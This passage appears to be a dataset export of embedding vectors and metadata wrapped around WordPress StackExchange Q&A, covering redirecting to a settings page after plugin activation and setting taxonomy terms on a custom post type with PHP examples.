0.0199432373046875,
-0.0213470458984375,
-0.04925537109375,
-0.0111236572265625,
-0.02008056640625,
0.0085296630859375,
0.00791168212890625,
0.03076171875,
0.04217529296875,
-0.00510406494140625,
-0.049407958984375,
-0.061981201171875,
0.01511383056640625,
0.041015625,
-0.033294677734375,
0.02496337890625,
0.0193328857421875,
-0.052276611328125,
-0.0308685302734375,
-0.01416015625,
-0.0304412841796875,
0.020782470703125,
0.0279541015625,
0.0762939453125,
-0.00835418701171875,
0.02484130859375,
0.018096923828125,
-0.0218963623046875,
0.028594970703125,
0.00684356689453125,
0.015625,
0.00815582275390625,
0.00788116455078125,
-0.027923583984375,
0.0257720947265625,
-0.0059051513671875,
0.03570556640625,
-0.040679931640625,
0.01519775390625,
-0.03076171875,
0.017852783203125,
-0.0304412841796875,
0.041015625,
-0.030029296875,
-0.048919677734375,
-0.0665283203125,
-0.0009741783142089844,
0.03753662109375,
0.045318603515625,
-0.01258087158203125,
0.035125732421875,
0.0086669921875,
0.0243377685546875,
0.025604248046875,
-0.00951385498046875,
0.02783203125,
0.015625,
-0.042938232421875,
-0.016357421875,
-0.005405426025390625,
-0.005859375,
-0.0166015625,
0.00965118408203125,
0.00152587890625,
0.0044403076171875,
-0.02398681640625,
-0.035186767578125,
-0.050567626953125,
-0.0197296142578125,
-0.045166015625,
-0.01311492919921875,
-0.00916290283203125,
0.0260467529296875,
-0.0137481689453125,
-0.019287109375,
-0.01045989990234375,
-0.036041259765625,
-0.016143798828125,
0.004489898681640625,
-0.0207672119140625,
-0.04437255859375,
0.0026226043701171875,
-0.00069427490234375,
0.0195465087890625,
-0.0001741647720336914,
-0.034271240234375,
0.0211944580078125,
-0.0287933349609375,
0.024627685546875,
-0.005924224853515625,
0.011383056640625,
-0.0146636962890625,
0.0108795166015625,
-0.03369140625,
-0.033538818359375,
-0.0202789306640625,
0.045196533203125,
-0.033721923828125,
0.004619598388671875,
0.03985595703125,
-0.0044708251953125,
-0.056610107421875,
0.01383209228515625,
-0.02337646484375,
0.05645751953125,
-0.05340576171875,
-0.0131988525390625,
0.05010986328125,
-0.03680419921875,
-0.042816162109375,
-0.076171875,
0.0110321044921875,
-0.07916259765625,
-0.005626678466796875,
0.0186614990234375,
-0.009185791015625,
0.0087890625,
-0.031463623046875,
-0.03497314453125,
0.0308990478515625,
0.017181396484375,
-0.0196075439453125,
-0.0833740234375,
-0.00556182861328125,
-0.0152435302734375,
0.0460205078125,
-0.0147247314453125,
-0.042144775390625,
-0.03704833984375,
0.06036376953125,
0.004940032958984375,
0.07489013671875,
-0.0208587646484375,
0.0258331298828125,
0.01708984375,
0.04656982421875,
0.0186004638671875,
0.02093505859375,
-0.0012454986572265625,
-0.0171051025390625,
0.0189056396484375,
0.0157928466796875,
-0.0022716522216796875,
-0.039154052734375,
0.016815185546875,
-0.04852294921875,
0.0139617919921875,
-0.07110595703125,
-0.01151275634765625,
-0.0128326416015625,
0.032562255859375,
0.004024505615234375,
0.00537109375,
-0.020538330078125,
-0.06964111328125,
-0.0399169921875,
0.01276397705078125,
-0.0723876953125,
0.0129241943359375,
-0.09375,
-0.01995849609375,
-0.0390625,
-0.0207061767578125,
-0.0295867919921875,
-0.036651611328125,
-0.053680419921875,
0.00461578369140625,
-0.007720947265625,
0.007904052734375,
0.0305328369140625,
-0.0092315673828125,
0.057342529296875,
-0.04205322265625,
-0.021575927734375,
-0.0037250518798828125,
0.020751953125,
0.00862884521484375,
-0.019073486328125,
-0.0171051025390625,
0.041717529296875,
-0.0101470947265625,
-0.0187225341796875,
0.02374267578125,
0.00936126708984375,
0.0189208984375,
-0.00707244873046875,
0.00008666515350341797,
0.0098876953125,
0.007778167724609375,
-0.0119171142578125,
0.01380157470703125,
0.03021240234375,
-0.01558685302734375,
-0.004352569580078125,
-0.0092620849609375,
0.07269287109375,
0.01186370849609375,
0.02203369140625,
-0.038177490234375,
0.01131439208984375,
0.0006508827209472656,
-0.0287933349609375,
-0.006893157958984375,
-0.00576019287109375,
-0.03692626953125,
-0.01511383056640625,
-0.0244903564453125,
-0.0243682861328125,
-0.022308349609375,
-0.014892578125
] |
7b32870617dcdb7c735ad0e276c87449bdd78d23
|
Wordpress Stackexchange
Q: How to redirect to settings page once the plugin is activated? I created the Plugin of my own. Everything seems OK but one thing I want to do in that plugin is redirect to the corresponding plugin settings page when the plugin is activate.
For example:
http://www.example.com/wordpress/wp-admin/options-general.php?page=rotator
Is there a way to redirect to the corresponding page on activation, for example with register_activation_hook?
A: Hello i have used bellows code redirect after plugin activation. You can use this code. It's working nicely.
register_activation_hook(__FILE__, 'nht_plugin_activate');
add_action('admin_init', 'nht_plugin_redirect');
function nht_plugin_activate() {
add_option('nht_plugin_do_activation_redirect', true);
}
function nht_plugin_redirect() {
if (get_option('nht_plugin_do_activation_redirect', false)) {
delete_option('nht_plugin_do_activation_redirect');
if(!isset($_GET['activate-multi']))
{
wp_redirect("edit.php?post_type=headline&page=news-headline");
}
}
}
|
Q: How to redirect to settings page once the plugin is activated? I created the Plugin of my own. Everything seems OK but one thing I want to do in that plugin is redirect to the corresponding plugin settings page when the plugin is activate.
For example:
http://www.example.com/wordpress/wp-admin/options-general.php?page=rotator
Is there a way to redirect to the corresponding page on activation, for example with register_activation_hook?
A: Hello i have used bellows code redirect after plugin activation. You can use this code. It's working nicely.
register_activation_hook(__FILE__, 'nht_plugin_activate');
add_action('admin_init', 'nht_plugin_redirect');
function nht_plugin_activate() {
add_option('nht_plugin_do_activation_redirect', true);
}
function nht_plugin_redirect() {
if (get_option('nht_plugin_do_activation_redirect', false)) {
delete_option('nht_plugin_do_activation_redirect');
if(!isset($_GET['activate-multi']))
{
wp_redirect("edit.php?post_type=headline&page=news-headline");
}
}
}
A: Maybe using the wp_redirect() function in the activation hook. In the following example myplugin_settings is a placeholder. Normally this simply is the $hook_suffix you get back from $hook_suffix = add_menu_page( /* etc. */ ); and similar functions.
THIS CODE DOESN'T WORK, READ BELOW
register_activation_hook(__FILE__, 'cyb_activation');
function cyb_activation()
{
// Don't forget to exit() because wp_redirect doesn't exit automatically
exit( wp_redirect( admin_url( 'options-general.php?page=myplugin_settings' ) ) );
}
References:
*
*Register activation hook
*admin_url()
EDIT
The redirect inside the activation hook seems to be performed before the plugin is effectively activated, maybe because of the call of exit() before the activation is executed. This code seems to work well using activated_plugin action hook:
function cyb_activation_redirect( $plugin ) {
if( $plugin == plugin_basename( __FILE__ ) ) {
exit( wp_redirect( admin_url( 'options-general.php?page=myplugin_settings' ) ) );
}
}
add_action( 'activated_plugin', 'cyb_activation_redirect' );
If you use this code outside the main plugin file you will need to replace __FILE__ with path of the main plugin file.
THOUGHT
Redirecting the user after your plugin has been activated is not a very good approach. In Wordpress you can activate plugins in bulk. What happen then if you perform a redirect in this situation? You will break the activation of some plugins, maybe not if your plugin is the last being activated, but definitely you are breaking the user experience.
A: You should be able to do it like this:
register_activation_hook(__FILE__, 'my_plugin_activate');
add_action('admin_init', 'my_plugin_redirect');
function my_plugin_activate() {
add_option('my_plugin_do_activation_redirect', true);
}
// Solution 1
function my_plugin_redirect() {
if (get_option('my_plugin_do_activation_redirect', false)) {
delete_option('my_plugin_do_activation_redirect');
wp_redirect("options-general.php?page=rotator");
//wp_redirect() does not exit automatically and should almost always be followed by exit.
exit;
}
}
// OR
//Solution 2 (@kaiser suggestion)
function my_plugin_redirect() {
if (get_option('my_plugin_do_activation_redirect', false)) {
delete_option('my_plugin_do_activation_redirect');
exit( wp_redirect("options-general.php?page=rotator") );
}
}
UPDATE
Even if it's a inline comment, remember:
wp_redirect() does not exit automatically and should almost always be
followed by exit.
Specific example
<?php
wp_redirect( $location, $status );
exit;
?>
UPDATE 10/29/2013
It was not mentioned, but please note that my solution offers the ability to check if is the case or not to do a redirect to plugin settings page.
Check my_plugin_activate and the if condition in my_plugin_redirect.
Hope it helps!
|
wordpress
|
{
"language": "en",
"length": 468,
"provenance": "stackexchange_00019.jsonl.gz:437212",
"question_score": "17",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114506"
}
|
[
0.0870361328125,
0.01178741455078125,
0.0003256797790527344,
-0.055755615234375,
0.037872314453125,
-0.02130126953125,
0.0312042236328125,
-0.02056884765625,
-0.006702423095703125,
0.00395965576171875,
0.007099151611328125,
0.0244293212890625,
-0.0228118896484375,
-0.042877197265625,
0.0218505859375,
-0.0108184814453125,
0.0126953125,
-0.002964019775390625,
0.0203094482421875,
-0.021453857421875,
0.0107269287109375,
-0.01476287841796875,
0.01806640625,
0.044830322265625,
0.011932373046875,
-0.032440185546875,
0.086669921875,
-0.043426513671875,
0.00328826904296875,
-0.040069580078125,
0.02337646484375,
0.0180816650390625,
0.03369140625,
0.00022685527801513672,
-0.004665374755859375,
-0.0227813720703125,
0.004608154296875,
-0.005542755126953125,
-0.009490966796875,
0.03369140625,
0.044647216796875,
-0.01537322998046875,
0.0180816650390625,
0.04498291015625,
-0.021453857421875,
-0.04632568359375,
0.070556640625,
0.004573822021484375,
-0.0017881393432617188,
-0.01904296875,
-0.005184173583984375,
-0.0145263671875,
0.022979736328125,
-0.03826904296875,
-0.03302001953125,
-0.03692626953125,
-0.07171630859375,
0.02276611328125,
0.0104217529296875,
0.06365966796875,
0.0228424072265625,
0.007534027099609375,
-0.01303863525390625,
-0.0262603759765625,
0.0296478271484375,
0.00787353515625,
-0.0184478759765625,
0.03887939453125,
-0.08770751953125,
0.01053619384765625,
0.039031982421875,
-0.0653076171875,
0.00301361083984375,
0.028350830078125,
-0.05157470703125,
-0.047119140625,
0.0460205078125,
0.0090789794921875,
0.0188446044921875,
-0.00780487060546875,
0.041900634765625,
0.022247314453125,
0.0523681640625,
-0.036895751953125,
0.01399993896484375,
-0.024658203125,
-0.006011962890625,
-0.01410675048828125,
-0.051910400390625,
-0.01462554931640625,
-0.044647216796875,
-0.022857666015625,
0.0236968994140625,
-0.0545654296875,
-0.042755126953125,
-0.01340484619140625,
0.0236968994140625,
0.020416259765625,
-0.0018110275268554688,
0.003749847412109375,
0.005161285400390625,
-0.043121337890625,
0.042755126953125,
-0.029632568359375,
-0.0099945068359375,
0.0631103515625,
0.0190277099609375,
-0.0193023681640625,
-0.00725555419921875,
-0.0011615753173828125,
-0.0026149749755859375,
-0.01314544677734375,
-0.0251312255859375,
-0.016937255859375,
-0.0078125,
0.0207061767578125,
-0.048919677734375,
0.0016527175903320312,
-0.00719451904296875,
0.004673004150390625,
-0.0237274169921875,
-0.0016078948974609375,
0.037750244140625,
-0.026123046875,
-0.017242431640625,
-0.046600341796875,
-0.0159149169921875,
-0.03265380859375,
-0.005779266357421875,
-0.027496337890625,
-0.007236480712890625,
0.041534423828125,
0.04547119140625,
0.016143798828125,
-0.01259613037109375,
0.01467132568359375,
0.06884765625,
0.024139404296875,
0.0198822021484375,
-0.01314544677734375,
0.01146697998046875,
-0.0282135009765625,
-0.037933349609375,
0.002628326416015625,
0.0026569366455078125,
0.04620361328125,
0.0284423828125,
-0.0016317367553710938,
-0.0305328369140625,
-0.034149169921875,
-0.006011962890625,
-0.03533935546875,
0.03973388671875,
-0.00952911376953125,
0.00525665283203125,
-0.007442474365234375,
0.0209808349609375,
-0.0009245872497558594,
-0.0162811279296875,
-0.00865936279296875,
0.017791748046875,
-0.013946533203125,
0.001964569091796875,
-0.0372314453125,
-0.050933837890625,
0.01309967041015625,
-0.049652099609375,
-0.01311492919921875,
0.0272369384765625,
0.02008056640625,
-0.01131439208984375,
-0.042572021484375,
-0.0212249755859375,
0.017547607421875,
-0.0008025169372558594,
0.041259765625,
0.00507354736328125,
0.0167236328125,
0.027862548828125,
0.0163421630859375,
-0.01293182373046875,
-0.025848388671875,
0.06292724609375,
-0.0210723876953125,
-0.058990478515625,
0.060760498046875,
-0.00310516357421875,
0.0699462890625,
0.0244903564453125,
0.005451202392578125,
0.0132293701171875,
-0.005825042724609375,
-0.028778076171875,
0.015594482421875,
-0.0086212158203125,
-0.0190582275390625,
-0.01220703125,
0.01047515869140625,
-0.010498046875,
-0.005207061767578125,
0.01226043701171875,
-0.0098876953125,
-0.010101318359375,
0.0132904052734375,
-0.0517578125,
-0.005794525146484375,
-0.0171356201171875,
0.0072784423828125,
0.038177490234375,
0.01013946533203125,
-0.007602691650390625,
0.0079345703125,
0.003963470458984375,
-0.05230712890625,
-0.037872314453125,
0.0633544921875,
0.0011758804321289062,
0.0557861328125,
0.027679443359375,
0.0345458984375,
0.04193115234375,
-0.030303955078125,
0.02154541015625,
-0.0193328857421875,
0.041229248046875,
-0.0229339599609375,
-0.0011510848999023438,
-0.0295257568359375,
-0.006378173828125,
-0.0029144287109375,
-0.024505615234375,
0.047271728515625,
-0.006595611572265625,
0.0008282661437988281,
-0.03021240234375,
0.01387786865234375,
-0.022613525390625,
-0.04498291015625,
-0.0020294189453125,
0.0307769775390625,
0.0262908935546875,
0.0382080078125,
-0.0208282470703125,
-0.00188446044921875,
0.0010747909545898438,
-0.06341552734375,
0.0043182373046875,
0.01073455810546875,
0.049102783203125,
0.057586669921875,
-0.01386260986328125,
-0.03228759765625,
0.020965576171875,
-0.005016326904296875,
0.00942230224609375,
0.0207366943359375,
-0.025421142578125,
-0.054046630859375,
0.037750244140625,
-0.019317626953125,
0.0136871337890625,
-0.034912109375,
-0.037994384765625,
-0.00916290283203125,
0.0012264251708984375,
-0.0194854736328125,
0.0012140274047851562,
-0.01279449462890625,
-0.016937255859375,
-0.00942230224609375,
0.040985107421875,
-0.028411865234375,
0.0025920867919921875,
0.007671356201171875,
0.052581787109375,
-0.06597900390625,
-0.041961669921875,
-0.00445556640625,
0.0318603515625,
-0.0195465087890625,
-0.02398681640625,
0.00353240966796875,
-0.04254150390625,
-0.0243072509765625,
0.00030994415283203125,
-0.0377197265625,
-0.0093994140625,
-0.00739288330078125,
-0.0154876708984375,
0.01456451416015625,
0.048736572265625,
0.011993408203125,
-0.043701171875,
0.0369873046875,
-0.023162841796875,
-0.02490234375,
0.048370361328125,
-0.073486328125,
0.047821044921875,
-0.0478515625,
0.08514404296875,
0.08111572265625,
-0.033416748046875,
0.02752685546875,
0.00035309791564941406,
-0.0007877349853515625,
0.0016155242919921875,
-0.033172607421875,
-0.02716064453125,
-0.007450103759765625,
-0.065185546875,
0.012603759765625,
0.0203094482421875,
0.018035888671875,
-0.02264404296875,
-0.05078125,
-0.033203125,
-0.00005638599395751953,
-0.09991455078125,
-0.050537109375,
-0.027313232421875,
-0.051116943359375,
0.07623291015625,
-0.0062255859375,
0.0023860931396484375,
-0.040130615234375,
0.03790283203125,
0.036376953125,
-0.01910400390625,
0.0308685302734375,
-0.0088958740234375,
-0.00742340087890625,
-0.057037353515625,
-0.0299224853515625,
-0.0156402587890625,
0.016876220703125,
-0.0034923553466796875,
-0.012725830078125,
-0.016876220703125,
-0.0499267578125,
-0.013458251953125,
0.00571441650390625,
0.004192352294921875,
-0.039581298828125,
-0.0286407470703125,
0.00948333740234375,
-0.0084381103515625,
0.0162353515625,
0.0711669921875,
-0.0001913309097290039,
-0.002117156982421875,
-0.008880615234375,
0.00003314018249511719,
-0.0021209716796875,
0.0061798095703125,
-0.0230560302734375,
-0.0012769699096679688,
-0.01203155517578125,
-0.03558349609375,
-0.045989990234375,
-0.0008492469787597656,
-0.0214385986328125,
-0.052825927734375,
-0.0360107421875,
0.0267791748046875,
0.01580810546875,
0.013336181640625,
-0.06024169921875,
0.0198974609375,
0.01617431640625,
0.03668212890625,
0.0113067626953125,
0.006259918212890625,
-0.0246124267578125,
-0.021728515625,
-0.049713134765625,
0.01134490966796875,
-0.0024471282958984375,
-0.0261993408203125,
-0.0162200927734375,
0.01355743408203125,
-0.0286712646484375,
0.01959228515625,
-0.067626953125,
-0.04180908203125,
0.0102081298828125,
-0.07659912109375,
-0.050018310546875,
-0.0017423629760742188,
0.0255889892578125,
0.0214691162109375,
0.042724609375,
-0.047698974609375,
-0.0033321380615234375,
-0.0186004638671875,
0.0132293701171875,
-0.031829833984375,
-0.046051025390625,
-0.040252685546875,
-0.007038116455078125,
-0.11895751953125,
0.0035152435302734375,
0.0196990966796875,
-0.051849365234375,
-0.0171356201171875,
0.01224517822265625,
-0.078125,
-0.0340576171875,
0.0306854248046875,
0.00917816162109375,
-0.0077362060546875,
0.052093505859375,
-0.0224456787109375,
0.0146942138671875,
-0.0144500732421875,
-0.0041961669921875,
-0.07025146484375,
-0.0007534027099609375,
0.005702972412109375,
0.0290069580078125,
0.0257415771484375,
-0.05816650390625,
-0.0047454833984375,
0.037353515625,
0.00614166259765625,
0.01061248779296875,
-0.01248931884765625,
0.01120758056640625,
-0.007293701171875,
-0.00557708740234375,
-0.0251312255859375,
-0.00882720947265625,
0.0147857666015625,
0.032806396484375,
-0.026092529296875,
0.04107666015625,
-0.03326416015625,
-0.0110015869140625,
0.025299072265625,
-0.04620361328125,
-0.04962158203125,
-0.01384735107421875,
-0.0226287841796875,
-0.01227569580078125,
-0.002300262451171875,
-0.0211334228515625,
-0.00995635986328125,
-0.0616455078125,
0.035675048828125,
-0.0626220703125,
-0.0294952392578125,
0.00047516822814941406,
0.04620361328125,
0.0262451171875,
0.005214691162109375,
0.041015625,
-0.03131103515625,
0.028472900390625,
0.0157470703125,
0.03936767578125,
0.0134429931640625,
-0.0147857666015625,
0.06671142578125,
-0.0005164146423339844,
-0.01267242431640625,
-0.00737762451171875,
0.0465087890625,
-0.0023746490478515625,
-0.036895751953125,
0.01898193359375,
-0.057830810546875,
0.0223846435546875,
0.049102783203125,
0.0091552734375,
-0.0204925537109375,
0.022735595703125,
0.0118408203125,
-0.042022705078125,
0.02099609375,
0.005817413330078125,
-0.021759033203125,
0.007602691650390625,
0.023590087890625,
0.0396728515625,
0.037841796875,
-0.00521087646484375,
0.023468017578125,
0.01336669921875,
0.00676727294921875,
0.029296875,
0.0268096923828125,
-0.0016832351684570312,
0.043487548828125,
-0.00795745849609375,
-0.0260467529296875,
0.001453399658203125,
-0.004638671875,
0.04058837890625,
-0.036529541015625,
-0.048797607421875,
-0.0253448486328125,
-0.04248046875,
-0.01056671142578125,
0.034088134765625,
-0.00720977783203125,
0.06298828125,
0.064208984375,
-0.043212890625,
-0.00716400146484375,
0.0020275115966796875,
-0.0117645263671875,
-0.064697265625,
-0.00027179718017578125,
-0.00392913818359375,
0.0026760101318359375,
0.042449951171875,
0.07623291015625,
0.0243988037109375,
0.0596923828125,
-0.029876708984375,
0.0198516845703125,
0.0269012451171875,
-0.0265350341796875,
0.0120391845703125,
0.050201416015625,
-0.01184844970703125,
-0.051788330078125,
0.01129913330078125,
-0.05181884765625,
0.00412750244140625,
0.03265380859375,
0.032958984375,
0.0242919921875,
-0.0163116455078125,
0.0234222412109375,
0.0175628662109375,
-0.038299560546875,
0.0504150390625,
-0.02264404296875,
-0.0970458984375,
-0.03070068359375,
0.01218414306640625,
0.047698974609375,
-0.024871826171875,
-0.03045654296875,
0.038848876953125,
-0.0408935546875,
0.0253448486328125,
-0.00775909423828125,
-0.0268707275390625,
0.0227203369140625,
0.040496826171875,
-0.0162353515625,
-0.01389312744140625,
-0.01059722900390625,
-0.041412353515625,
-0.0205841064453125,
-0.0117645263671875,
-0.01031494140625,
0.03350830078125,
-0.048614501953125,
0.0231170654296875,
-0.0303802490234375,
0.00447845458984375,
-0.0082244873046875,
-0.004039764404296875,
0.08563232421875,
0.0513916015625,
-0.041046142578125,
-0.01442718505859375,
-0.02886962890625,
-0.01959228515625,
-0.0007586479187011719,
-0.019622802734375,
-0.0221099853515625,
0.006744384765625,
0.0279998779296875,
0.0230712890625,
-0.00972747802734375,
-0.039703369140625,
-0.04302978515625,
0.016265869140625,
0.055328369140625,
0.051788330078125,
0.0223388671875,
0.03179931640625,
-0.01537322998046875,
0.0305633544921875,
0.027191162109375,
0.024932861328125,
-0.00975799560546875,
-0.0281829833984375,
-0.0056610107421875,
0.01483917236328125,
0.0109710693359375,
-0.009307861328125,
0.001972198486328125,
-0.03472900390625,
0.042510986328125,
-0.004730224609375,
-0.006061553955078125,
0.034912109375,
0.007183074951171875,
-0.025970458984375,
-0.032501220703125,
0.049774169921875,
0.00445556640625,
0.0222625732421875,
-0.038818359375,
-0.0163116455078125,
-0.003993988037109375,
0.0124359130859375,
0.0035343170166015625,
-0.03643798828125,
-0.004657745361328125,
0.032684326171875,
-0.0799560546875,
0.06475830078125,
0.065185546875,
0.0134735107421875,
0.0246429443359375,
-0.0002562999725341797,
-0.0128021240234375,
0.005992889404296875,
-0.0061187744140625,
-0.001010894775390625,
0.03338623046875,
0.056884765625,
-0.01026153564453125,
-0.00815582275390625,
0.033935546875,
-0.011993408203125,
-0.0122528076171875,
0.045013427734375,
0.01233673095703125,
-0.080810546875,
0.00136566162109375,
-0.015655517578125,
0.018524169921875,
0.02679443359375,
-0.01103973388671875,
-0.003513336181640625,
0.017730712890625,
0.0045318603515625,
-0.0036144256591796875,
-0.041534423828125,
0.0081787109375,
0.03216552734375,
-0.0202178955078125,
0.008758544921875,
0.032806396484375,
0.01763916015625,
-0.08538818359375,
0.0264739990234375,
0.048004150390625,
-0.00702667236328125,
-0.032684326171875,
-0.00778961181640625,
0.025970458984375,
-0.017547607421875,
-0.036590576171875,
0.04998779296875,
-0.0216522216796875,
0.01416778564453125,
0.0229644775390625,
-0.0244903564453125,
0.03131103515625,
0.038726806640625,
-0.01540374755859375,
-0.00820159912109375,
0.008544921875,
0.005863189697265625,
-0.0306854248046875,
-0.00844573974609375,
0.00969696044921875,
-0.01131439208984375,
-0.0173797607421875,
0.0166473388671875,
-0.03729248046875,
-0.031097412109375,
-0.0008707046508789062,
0.0269012451171875,
0.05316162109375,
0.016876220703125,
-0.0487060546875,
0.0154266357421875,
-0.0257110595703125,
0.006946563720703125,
-0.006256103515625,
0.0301666259765625,
-0.05938720703125,
-0.040740966796875,
-0.0003628730773925781,
-0.03289794921875,
-0.0201263427734375,
-0.035430908203125,
-0.0390625,
0.10357666015625,
-0.00798797607421875,
0.0014238357543945312,
0.0229949951171875,
0.052337646484375,
-0.03973388671875,
0.0240325927734375,
-0.01995849609375,
0.05010986328125,
-0.02960205078125,
0.004428863525390625,
-0.033111572265625,
0.02099609375,
-0.010009765625,
0.0067138671875,
0.05389404296875,
0.033905029296875,
-0.0479736328125,
0.0189666748046875,
0.04095458984375,
-0.04168701171875,
-0.03326416015625,
0.086669921875,
-0.001918792724609375,
-0.0021610260009765625,
0.0227813720703125,
-0.0241546630859375,
0.039825439453125,
-0.045867919921875,
0.0072479248046875,
0.005809783935546875,
-0.0032520294189453125,
-0.0248870849609375,
-0.03826904296875,
0.038055419921875,
-0.05426025390625,
-0.006557464599609375,
0.02789306640625,
0.015380859375,
-0.005542755126953125,
0.01300048828125,
0.00823974609375,
-0.0038242340087890625,
0.062469482421875,
-0.03265380859375,
0.04693603515625,
-0.00023603439331054688,
-0.021636962890625,
-0.00018644332885742188,
-0.006500244140625,
-0.01486968994140625,
0.0113372802734375,
-0.01534271240234375,
0.029541015625,
0.0119476318359375,
0.035003662109375,
0.0236663818359375,
0.02960205078125,
-0.00328826904296875,
0.00856781005859375,
-0.032012939453125,
0.023040771484375,
-0.022705078125,
-0.040374755859375,
0.0172271728515625,
0.0413818359375,
0.01149749755859375,
0.02581787109375,
0.05120849609375,
-0.03466796875,
0.020599365234375,
-0.006839752197265625,
-0.00262451171875,
0.01074981689453125,
0.009521484375,
-0.00782012939453125,
-0.01132965087890625,
-0.0164337158203125,
0.017181396484375,
-0.03765869140625,
0.01006317138671875,
0.03741455078125,
0.05560302734375,
-0.035186767578125,
0.09051513671875,
-0.0037384033203125,
-0.0221405029296875,
-0.017791748046875,
0.032318115234375,
-0.0016508102416992188,
0.028594970703125,
-0.053070068359375,
-0.06005859375,
0.030792236328125,
0.04486083984375,
0.0205841064453125,
0.023406982421875,
0.050018310546875,
0.0667724609375,
0.0239715576171875,
-0.013153076171875,
0.0117645263671875,
-0.0008997917175292969,
0.036529541015625,
-0.02935791015625,
0.0200653076171875,
-0.0195159912109375,
-0.0234375,
-0.0278778076171875,
0.01824951171875,
0.009033203125,
-0.01120758056640625,
0.054534912109375,
0.0022830963134765625,
0.01189422607421875,
0.0167083740234375,
-0.006679534912109375,
0.0384521484375,
0.01332855224609375,
-0.07122802734375,
-0.019775390625,
-0.03643798828125,
-0.047821044921875,
0.04156494140625,
0.046905517578125,
-0.0238037109375,
0.0108489990234375,
-0.051239013671875,
0.034454345703125,
0.041900634765625,
-0.06640625,
-0.00811004638671875,
0.0401611328125,
0.0279083251953125,
0.007602691650390625,
-0.014923095703125,
0.0222930908203125,
-0.001705169677734375,
0.001430511474609375,
0.0121002197265625,
0.0362548828125,
-0.006336212158203125,
0.02569580078125,
0.0103759765625,
-0.0024814605712890625,
0.01297760009765625,
-0.0196380615234375,
0.0223846435546875,
0.01268768310546875,
0.0045318603515625,
-0.00762939453125,
-0.047210693359375,
0.05316162109375,
0.0198822021484375,
-0.0013799667358398438,
0.033477783203125,
0.03143310546875,
-0.0015268325805664062,
-0.00913238525390625,
0.0204315185546875,
-0.038848876953125,
-0.052520751953125,
-0.06341552734375,
-0.0033016204833984375,
0.01139068603515625,
0.0154266357421875,
-0.01397705078125,
0.025390625,
-0.0011606216430664062,
-0.016571044921875,
-0.00969696044921875,
-0.01512908935546875,
-0.0499267578125,
0.0196990966796875,
0.0057525634765625,
-0.0305023193359375,
-0.0029163360595703125,
-0.01186370849609375,
-0.024078369140625,
0.0242462158203125,
-0.00931549072265625,
0.0081634521484375,
0.006076812744140625,
-0.03369140625,
-0.044219970703125,
-0.03594970703125,
-0.050140380859375,
-0.01947021484375,
0.00826263427734375,
0.00006449222564697266,
-0.0286712646484375,
-0.0382080078125,
-0.0257568359375,
-0.052459716796875,
-0.003139495849609375,
0.0236968994140625,
-0.0313720703125,
0.005420684814453125,
-0.025054931640625,
0.007534027099609375,
0.0338134765625,
-0.0283050537109375,
-0.0083160400390625,
-0.034332275390625,
-0.040374755859375,
0.066162109375,
-0.027435302734375,
-0.01739501953125,
0.0006103515625,
-0.005611419677734375,
-0.050811767578125,
-0.0052642822265625,
-0.059173583984375,
-0.01152801513671875,
-0.044342041015625,
0.006244659423828125,
0.054046630859375,
-0.0152130126953125,
-0.038665771484375,
-0.030731201171875,
-0.0189971923828125,
0.03466796875,
-0.02313232421875,
-0.0245208740234375,
0.022003173828125,
0.003017425537109375,
0.006725311279296875,
-0.0181121826171875,
-0.005512237548828125,
-0.004032135009765625,
-0.00843048095703125,
0.010955810546875,
-0.006183624267578125,
0.0164031982421875,
-0.017913818359375,
-0.013275146484375,
0.0489501953125,
0.0028553009033203125,
-0.017486572265625,
-0.061126708984375,
0.0311737060546875,
0.02886962890625,
0.00412750244140625,
-0.006122589111328125,
0.0015859603881835938,
-0.03875732421875,
-0.006053924560546875,
-0.01192474365234375,
0.057525634765625,
0.0030040740966796875,
0.00653076171875,
0.035736083984375,
0.007297515869140625,
-0.0010480880737304688,
-0.03411865234375,
-0.0077972412109375,
-0.007568359375,
0.004627227783203125,
0.034576416015625,
-0.031402587890625,
-0.036590576171875,
-0.0046844482421875,
0.007259368896484375,
0.006710052490234375,
-0.01541900634765625,
0.010986328125,
0.00039649009704589844,
0.0180511474609375,
0.0203857421875,
-0.0003657341003417969,
-0.021331787109375,
-0.02423095703125,
-0.017364501953125,
-0.013153076171875,
-0.0230560302734375,
0.0219879150390625,
-0.0726318359375,
-0.0186004638671875,
0.0105133056640625,
-0.0098114013671875,
0.003108978271484375,
0.0016326904296875,
-0.01708984375,
-0.01148223876953125,
-0.0003197193145751953,
0.0008473396301269531,
-0.02783203125,
-0.0200347900390625,
0.051361083984375,
-0.03753662109375,
-0.035919189453125,
0.002864837646484375,
0.0141754150390625,
-0.0166015625,
-0.0187835693359375,
0.038177490234375,
0.055267333984375,
-0.061309814453125,
-0.00933837890625,
0.02142333984375,
0.0298614501953125,
-0.032928466796875,
-0.0276947021484375,
-0.01099395751953125,
0.03179931640625,
-0.0212860107421875,
0.0283355712890625,
0.01206207275390625,
0.023284912109375,
0.002468109130859375,
0.042694091796875,
0.02178955078125,
0.021759033203125,
0.0002760887145996094,
0.03765869140625,
0.00030541419982910156,
-0.033905029296875,
0.014251708984375,
-0.03997802734375,
0.0084228515625,
0.0256805419921875,
0.07415771484375,
-0.034576416015625,
0.056640625,
-0.03631591796875,
0.057373046875,
0.020904541015625
] |
deea2c740b5e931455a5f74015fc6e79729fd021
|
Wordpress Stackexchange
Q: Wp set post terms not work My code is not working, it does not add the taxonomy
add_action('init', 'post_test', 10);
function post_test() {
$empty = get_page_by_title('Produto teste', OBJECT, 'produtos');
if(empty($empty)) {
$insert_post = array(
'post_status' => 'publish',
'post_type' => 'produtos',
'post_title' => 'Produto teste',
);
$post_id = wp_insert_post($insert_post);
if ($post_id) {
wp_set_post_terms($post_id, array('metais'), 'categoria-produtos'); // tag metais id is 108
}
add_post_meta($post_id, 'fornecedores', '5948'); // id do fornecedor
add_post_meta($post_id, '_fornecedores', 'field_52377232eb265');
}
}
why not work?
A: As stated in the wp_set_post_terms Comment:
This function will only work on the native post type. For a taxonomy on a custom post type use wp_set_object_terms()
wp_set_object_terms
|
Q: Wp set post terms not work My code is not working, it does not add the taxonomy
add_action('init', 'post_test', 10);
function post_test() {
$empty = get_page_by_title('Produto teste', OBJECT, 'produtos');
if(empty($empty)) {
$insert_post = array(
'post_status' => 'publish',
'post_type' => 'produtos',
'post_title' => 'Produto teste',
);
$post_id = wp_insert_post($insert_post);
if ($post_id) {
wp_set_post_terms($post_id, array('metais'), 'categoria-produtos'); // tag metais id is 108
}
add_post_meta($post_id, 'fornecedores', '5948'); // id do fornecedor
add_post_meta($post_id, '_fornecedores', 'field_52377232eb265');
